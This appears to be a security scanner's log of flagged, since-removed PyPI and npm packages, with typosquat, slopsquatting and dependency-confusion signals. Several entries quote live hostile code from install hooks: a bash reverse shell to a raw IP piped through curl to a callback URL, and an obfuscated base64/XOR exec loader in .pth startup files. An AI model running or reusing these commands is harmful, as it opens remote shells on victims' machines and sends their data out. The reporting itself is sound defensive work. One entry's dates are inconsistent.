Matched naming pattern: corex-vllm-runtimes

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 21/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 20 lines, 681 Bytes across 3 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage name 'corex-ai-runtimes-vllm' matches AI hallucination template [corex] + [vllm] + [runtimes].
HIGHClaims critical enterprise brand identity ('VLLM').
HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFONo malicious install-time hooks or shell cradles detected in package AST.

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-08-24 01:05 UTC

Last confirmed live: 2026-10-25 22:42 UTC

Removed: 2026-11-04 08:17 UTC

Lead time: +62.9d — how long the package stayed provably live after we flagged it

Online before takedown: 583.4d (published → removed)

Verdict / score at takedown: SUSPICIOUS · 80

Package purpose: Pinecone integration providing retrieval utility for Corex

Claimed homepage: https://pypi.org/project/corex-ai-retrieval-pinecone/

Matched naming pattern: corex-pinecone-retrieval

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 16/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 20 lines, 703 Bytes across 3 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage name 'corex-ai-retrieval-pinecone' matches AI hallucination template [corex] + [pinecone] + [retrieval].
HIGHClaims critical enterprise brand identity ('PINECONE').
HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFONo malicious install-time hooks or shell cradles detected in package AST.

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-08-24 18:41 UTC

Last confirmed live: 2026-10-26 00:22 UTC

Removed: 2026-11-04 08:17 UTC

Lead time: +62.2d — how long the package stayed provably live after we flagged it

Online before takedown: 583.4d (published → removed)

Verdict / score at takedown: SUSPICIOUS · 80

Package purpose: Ollama integration providing runtimes utility for Corex

Claimed homepage: https://pypi.org/project/corex-ai-runtimes-ollama/

Matched naming pattern: corex-ollama-runtimes

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 17/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 20 lines, 689 Bytes across 3 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage name 'corex-ai-runtimes-ollama' matches AI hallucination template [corex] + [ollama] + [runtimes].
HIGHClaims critical enterprise brand identity ('OLLAMA').
HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFONo malicious install-time hooks or shell cradles detected in package AST.

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-08-24 12:04 UTC

Last confirmed live: 2026-10-25 23:42 UTC

Removed: 2026-11-04 08:17 UTC

Lead time: +62.5d — how long the package stayed provably live after we flagged it

Online before takedown: 583.4d (published → removed)

Verdict / score at takedown: SUSPICIOUS · 80

Package purpose: Weaviate integration providing embeddings utility for Corex

Claimed homepage: https://pypi.org/project/corex-ai-embeddings-weaviate/

Matched naming pattern: corex-weaviate-embeddings

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 17/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 20 lines, 709 Bytes across 3 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage name 'corex-ai-embeddings-weaviate' matches AI hallucination template [corex] + [weaviate] + [embeddings].
HIGHClaims critical enterprise brand identity ('WEAVIATE').
HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFONo malicious install-time hooks or shell cradles detected in package AST.

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-08-24 11:41 UTC

Last confirmed live: 2026-09-07 20:57 UTC

Removed: 2026-11-04 08:17 UTC

Lead time: +14.4d — how long the package stayed provably live after we flagged it

Online before takedown: 583.4d (published → removed)

Verdict / score at takedown: SUSPICIOUS · 80

Package purpose: Llama integration providing retrieval utility for Corex

Claimed homepage: https://pypi.org/project/corex-ai-retrieval-llama-index/

Matched naming pattern: corex-llama-retrieval

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 14/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 20 lines, 715 Bytes across 3 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage name 'corex-ai-retrieval-llama-index' matches AI hallucination template [corex] + [llama] + [retrieval].
HIGHClaims critical enterprise brand identity ('LLAMA').
HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFONo malicious install-time hooks or shell cradles detected in package AST.

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-08-24 07:06 UTC

Last confirmed live: 2026-09-07 20:57 UTC

Removed: 2026-11-04 08:17 UTC

Lead time: +14.6d — how long the package stayed provably live after we flagged it

Online before takedown: 582.7d (published → removed)

Verdict / score at takedown: SUSPICIOUS · 80

Package purpose: Auth0 integration providing auth0 utility for Corex

Claimed homepage: https://pypi.org/project/corex-security-auth0/

Matched naming pattern: corex-auth0-auth0

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 14/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 20 lines, 667 Bytes across 3 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage name 'corex-security-auth0' matches AI hallucination template [corex] + [auth0] + [auth0].
HIGHClaims critical enterprise brand identity ('AUTH0').
HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFONo malicious install-time hooks or shell cradles detected in package AST.

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-08-24 10:13 UTC

Last confirmed live: 2026-10-25 23:42 UTC

Removed: 2026-11-04 08:17 UTC

Lead time: +62.6d — how long the package stayed provably live after we flagged it

Online before takedown: 582.5d (published → removed)

Verdict / score at takedown: SUSPICIOUS · 80

Package purpose: Azure integration providing azure utility for Corex

Claimed homepage: https://pypi.org/project/corex-storage-azure-blob/

Matched naming pattern: corex-azure-azure

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 16/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 20 lines, 681 Bytes across 3 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage name 'corex-storage-azure-blob' matches AI hallucination template [corex] + [azure] + [azure].
HIGHClaims critical enterprise brand identity ('AZURE').
HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFONo malicious install-time hooks or shell cradles detected in package AST.

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-08-24 03:41 UTC

Last confirmed live: 2026-10-25 23:02 UTC

Removed: 2026-11-04 08:17 UTC

Lead time: +62.8d — how long the package stayed provably live after we flagged it

Online before takedown: 583.4d (published → removed)

Verdict / score at takedown: SUSPICIOUS · 80

Package purpose: Qdrant integration providing retrieval utility for Corex

Claimed homepage: https://pypi.org/project/corex-ai-retrieval-qdrant/

Matched naming pattern: corex-qdrant-retrieval

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 14/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 20 lines, 695 Bytes across 3 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage name 'corex-ai-retrieval-qdrant' matches AI hallucination template [corex] + [qdrant] + [retrieval].
HIGHClaims critical enterprise brand identity ('QDRANT').
HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFONo malicious install-time hooks or shell cradles detected in package AST.

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-08-24 23:27 UTC

Last confirmed live: 2026-10-26 00:42 UTC

Removed: 2026-11-04 08:17 UTC

Lead time: +62.1d — how long the package stayed provably live after we flagged it

Online before takedown: 583.4d (published → removed)

Verdict / score at takedown: SUSPICIOUS · 80

Package purpose: Mistral integration providing nlp utility for Corex

Claimed homepage: https://pypi.org/project/corex-ai-nlp-mistral/

Matched naming pattern: corex-mistral-nlp

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 17/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 20 lines, 663 Bytes across 3 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage name 'corex-ai-nlp-mistral' matches AI hallucination template [corex] + [mistral] + [nlp].
HIGHClaims critical enterprise brand identity ('MISTRAL').
HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFONo malicious install-time hooks or shell cradles detected in package AST.

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-08-23 22:20 UTC

Last confirmed live: 2026-09-07 20:57 UTC

Removed: 2026-11-04 08:17 UTC

Lead time: +14.9d — how long the package stayed provably live after we flagged it

Online before takedown: 583.3d (published → removed)

Verdict / score at takedown: SUSPICIOUS · 80

Package purpose: Google integration providing google utility for Corex

Claimed homepage: https://pypi.org/project/corex-events-google-pubsub/

Matched naming pattern: corex-google-google

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 20/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 20 lines, 687 Bytes across 3 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage name 'corex-events-google-pubsub' matches AI hallucination template [corex] + [google] + [google].
HIGHClaims critical enterprise brand identity ('GOOGLE').
HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFONo malicious install-time hooks or shell cradles detected in package AST.

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: npm (registry removed)

First flagged by Sentinel: 2026-10-04 07:07 UTC

Last confirmed live: 2026-10-23 17:17 UTC

Removed: 2026-11-03 15:17 UTC

Lead time: +19.4d — how long the package stayed provably live after we flagged it

Online before takedown: 30.4d (published → removed)

Verdict / score at takedown: Very Risky · 90

Package purpose: Bun is a fast all-in-one JavaScript runtime.

Claimed homepage: https://bun.com

Matched naming pattern: node-@ohos-bun

Official vendor account: No — publisher domain doesn't match the brand it names

Registry downloads (last seen): 219/month (MODERATE_USAGE)

Codebase size: 540 lines, 17.1 kB across 1 file (MODERATE_CODEBASE)

Automated signals flagged:

INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk.
HIGHPackage registered recently (20 days ago) during the active AI hallucination slopsquatting wave.
HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'node install.js'
HIGHBUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/bin/bunx.exe' in npm tarball
HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/install.js:249
HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/install.js:252
HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/install.js:63
HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/install.js:48

Static code signals:

LIFECYCLE_SCRIPT: 'postinstall' -> 'node install.js'
BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/bin/bunx.exe' in npm tarball
SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/install.js:249
SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/install.js:252
SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/install.js:63
SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/install.js:48
INSTALL_TIME_NETWORK_SOCKET: 'postinstall' script runs package/install.js, which makes network calls and executes/decodes/reads secrets

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on npm →

Removed from: npm (npm security takedown)

First flagged by Sentinel: 2026-11-02 06:13 UTC

Last confirmed live: 2026-11-02 06:27 UTC

Removed: 2026-11-02 22:17 UTC

Lead time: <1h — how long the package stayed provably live after we flagged it

Verdict / score at takedown: Very Risky · 145

Package purpose: contracts-upgradeable

Matched naming pattern: node-contracts-upgradeable

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: SUSPICIOUS (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 59 lines, 2.1 kB across 2 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage has empty or near-zero description (potential reservation stub).
HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave.
HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.js'
HIGHMISSING_SOURCE_REPOSITORY_URL
HIGHEXFILTRATION_DESTINATION_DETECTED: 'Discord Webhook' found in package/preinstall.js:7
HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/preinstall.js:27

Static code signals:

LIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.js'
MISSING_SOURCE_REPOSITORY_URL
EXFILTRATION_DESTINATION_DETECTED: 'Discord Webhook' found in package/preinstall.js:7
SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/preinstall.js:27

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on npm →

Removed from: npm (npm security takedown)

First flagged by Sentinel: 2026-11-02 06:13 UTC

Last confirmed live: 2026-11-02 06:27 UTC

Removed: 2026-11-02 22:17 UTC

Lead time: <1h — how long the package stayed provably live after we flagged it

Online before takedown: 3.9d (published → removed)

Verdict / score at takedown: Very Risky · 130

Package purpose: security holding package

Matched naming pattern: calculator-preinstall-hook

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: SUSPICIOUS (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 53 lines, 1.7 kB across 2 files (TINY_CODEBASE)

Automated signals flagged:

HIGHPackage registered recently (3 days ago) during the active AI hallucination slopsquatting wave.
HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.js'
HIGHMISSING_SOURCE_REPOSITORY_URL
HIGHEXFILTRATION_DESTINATION_DETECTED: 'Discord Webhook' found in package/preinstall.js:7
HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/preinstall.js:19

Static code signals:

LIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.js'
MISSING_SOURCE_REPOSITORY_URL
EXFILTRATION_DESTINATION_DETECTED: 'Discord Webhook' found in package/preinstall.js:7
SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/preinstall.js:19

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on npm →

Removed from: npm (npm security takedown)

First flagged by Sentinel: 2026-09-21 17:25 UTC

Last confirmed live: 2026-09-21 17:43 UTC

Removed: 2026-09-30 13:17 UTC

Lead time: <1h — how long the package stayed provably live after we flagged it

Online before takedown: 8.8d (published → removed)

Verdict / score at takedown: Very Risky · 100

Package purpose: security holding package

Matched naming pattern: npm-@uh-general

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: SUSPICIOUS (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 12 lines, 295 Bytes across 1 file (TINY_CODEBASE)

Automated signals flagged:

INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave.
CRITICALPackage registered with suspiciously high major version (v99.0.0, major 99) despite recent registration (0 days ago, 1 release(s)), indicating potential dependency confusion attack to shadow internal organization builds.
HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'node index.js'
HIGHMISSING_SOURCE_REPOSITORY_URL
HIGHEXFILTRATION_DESTINATION_DETECTED: 'OAST / Callback Service' found in package/index.js:2
HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/index.js:1

Static code signals:

LIFECYCLE_SCRIPT: 'preinstall' -> 'node index.js'
MISSING_SOURCE_REPOSITORY_URL
EXFILTRATION_DESTINATION_DETECTED: 'OAST / Callback Service' found in package/index.js:2
SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/index.js:1

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on npm →

Removed from: npm (npm security takedown)

First flagged by Sentinel: 2026-09-21 17:44 UTC

Last confirmed live: 2026-09-21 18:04 UTC

Removed: 2026-09-26 01:17 UTC

Lead time: <1h — how long the package stayed provably live after we flagged it

Online before takedown: 4.3d (published → removed)

Verdict / score at takedown: Very Risky · 100

Package purpose: Nodejs SDK for Redacted

Matched naming pattern: npm-@uh-general

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: SUSPICIOUS (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 12 lines, 295 Bytes across 1 file (TINY_CODEBASE)

Automated signals flagged:

INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave.
CRITICALPackage registered with suspiciously high major version (v100.0.0, major 100) despite recent registration (0 days ago, 1 release(s)), indicating potential dependency confusion attack to shadow internal organization builds.
HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'node index.js'
HIGHMISSING_SOURCE_REPOSITORY_URL
HIGHEXFILTRATION_DESTINATION_DETECTED: 'OAST / Callback Service' found in package/index.js:2
HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/index.js:1

Static code signals:

LIFECYCLE_SCRIPT: 'preinstall' -> 'node index.js'
MISSING_SOURCE_REPOSITORY_URL
EXFILTRATION_DESTINATION_DETECTED: 'OAST / Callback Service' found in package/index.js:2
SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/index.js:1

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on npm →

Removed from: npm (registry removed)

First flagged by Sentinel: 2026-09-21 01:05 UTC

Last confirmed live: 2026-09-21 01:24 UTC

Removed: 2026-09-22 11:17 UTC

Lead time: <1h — how long the package stayed provably live after we flagged it

Online before takedown: 34h (published → removed)

Verdict / score at takedown: Very Risky · 102

Package purpose: providing general utility for Npm

Matched naming pattern: npm-@nimbusedge2/x-general

Official vendor account: No — publisher domain doesn't match the brand it names

Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 8 lines, 337 Bytes across 1 file (TINY_CODEBASE)

Automated signals flagged:

INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk.
HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave.
HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 0>&1 | curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php'
CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script
CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script
HIGHMISSING_SOURCE_REPOSITORY_URL
INFOPackage affiliated with trusted vendor '@nimbusedge2/x' (provenance:npm_slsa_sigstore). Applied 50% threat score dampening (155 -> 77) to reduce false positives while retaining hijack/takeover detection.
CRITICALCRITICAL: Weaponized payload detected on package affiliated with trusted vendor '@nimbusedge2/x'. High probability of vendor account takeover, compromised credentials, or malicious release.

Static code signals:

LIFECYCLE_SCRIPT: 'preinstall' -> 'bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 0>&1 | curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php'
SUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script
SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script
MISSING_SOURCE_REPOSITORY_URL

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on npm →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-09-11 17:44 UTC

Last confirmed live: 2026-09-11 17:44 UTC

Removed: 2026-09-12 04:17 UTC

Lead time: <1h — how long the package stayed provably live after we flagged it

Online before takedown: 10h (published → removed)

Verdict / score at takedown: Very Risky · 85

Static code signals:

PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in langgrap-0.2.45.data/purelib/langgrap-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP'
PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'subprocess' imported in langgrap-0.2.45.data/purelib/langgrap-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP'
PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'base64' imported in langgrap-0.2.45.data/purelib/langgrap-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP'
PYTHON_PTH_CODE_EXECUTION: Startup execution call 'exec()' in langgrap-0.2.45.data/purelib/langgrap-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP'
PYTHON_PTH_CODE_EXECUTION: Startup execution call 'b64decode()' in langgrap-0.2.45.data/purelib/langgrap-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP'

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-09-11 17:44 UTC

Last confirmed live: 2026-09-11 17:44 UTC

Removed: 2026-09-12 04:17 UTC

Lead time: <1h — how long the package stayed provably live after we flagged it

Online before takedown: 10h (published → removed)

Verdict / score at takedown: Very Risky · 85

Static code signals:

PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in transfomers-4.44.2.data/purelib/transfomers-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP'
PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'subprocess' imported in transfomers-4.44.2.data/purelib/transfomers-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP'
PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'base64' imported in transfomers-4.44.2.data/purelib/transfomers-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP'
PYTHON_PTH_CODE_EXECUTION: Startup execution call 'exec()' in transfomers-4.44.2.data/purelib/transfomers-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP'
PYTHON_PTH_CODE_EXECUTION: Startup execution call 'b64decode()' in transfomers-4.44.2.data/purelib/transfomers-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP'

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: npm (registry removed)

First flagged by Sentinel: 2026-09-11 10:11 UTC

Last confirmed live: 2026-09-11 15:33 UTC

Removed: 2026-09-11 18:17 UTC

Lead time: +5h — how long the package stayed provably live after we flagged it

Online before takedown: 10h (published → removed)

Verdict / score at takedown: Very Risky · 122

Package purpose: providing general utility for Npm

Matched naming pattern: npm-@nimbusedge/auth-general

Official vendor account: No — publisher domain doesn't match the brand it names

Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 8 lines, 339 Bytes across 1 file (TINY_CODEBASE)

Automated signals flagged:

INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk.
HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave.
CRITICALPackage registered with suspiciously high major version (v19999.0.6, major 19999) despite recent registration (0 days ago, 7 release(s)), indicating potential dependency confusion attack to shadow internal organization builds.
HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'bash -i >& /dev/tcp/147.93.157.202/8080 0>&1 | curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php'
CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script
CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script
HIGHMISSING_SOURCE_REPOSITORY_URL
INFOPackage affiliated with trusted vendor '@nimbusedge/auth' (provenance:npm_slsa_sigstore). Applied 50% threat score dampening (195 -> 97) to reduce false positives while retaining hijack/takeover detection.

Static code signals:

LIFECYCLE_SCRIPT: 'preinstall' -> 'bash -i >& /dev/tcp/147.93.157.202/8080 0>&1 | curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php'
SUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script
SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script
MISSING_SOURCE_REPOSITORY_URL

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on npm →

Removed from: npm (npm security takedown)

First flagged by Sentinel: 2026-09-02 01:23 UTC

Removed: 2025-07-17 10:14 UTC

Online before takedown: 894.8d (published → removed)

Identified by our one-time historical sweep — it can only confirm the package was gone by the time it looked, so no lead-time figure is claimed.

Verdict / score at takedown: SUSPICIOUS · 85

Package purpose: Security holding package

Matched naming pattern: toloka-workspace-sdk

Official vendor account: No — publisher domain doesn't match the brand it names

Registry downloads (last seen): 262/month (MODERATE_USAGE)

Codebase size: 5 lines, 41 Bytes across 1 file (EMPTY_STUB)

Automated signals flagged:

MEDIUMPackage name 'toloka-workspace-sdk' matches AI hallucination template [toloka] + [workspace] + [sdk].
HIGHClaims critical enterprise brand identity ('WORKSPACE').
HIGHPublisher email 'None' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFOEstablished pre-AI legacy package registered 1312 days ago (predates modern AI hallucination waves).
HIGHMISSING_SOURCE_REPOSITORY_URL
